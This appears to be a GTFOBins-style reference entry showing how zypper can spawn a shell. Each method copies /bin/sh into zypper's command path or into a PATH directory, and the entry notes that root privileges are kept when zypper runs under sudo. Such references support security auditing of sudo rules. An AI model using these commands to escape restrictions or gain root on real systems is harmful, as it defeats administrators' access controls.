This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
cp /bin/sh /usr/lib/zypper/commands/zypper-x
zypper x
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
cp /bin/sh /usr/lib/zypper/commands/zypper-x
zypper x
This function can be performed by any unprivileged user.
cp /bin/sh /path/to/temp-dir/zypper-x
PATH=$PATH:/path/to/temp-dir/ zypper x
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
cp /bin/sh /path/to/temp-dir/zypper-x
PATH=$PATH:/path/to/temp-dir/ zypper x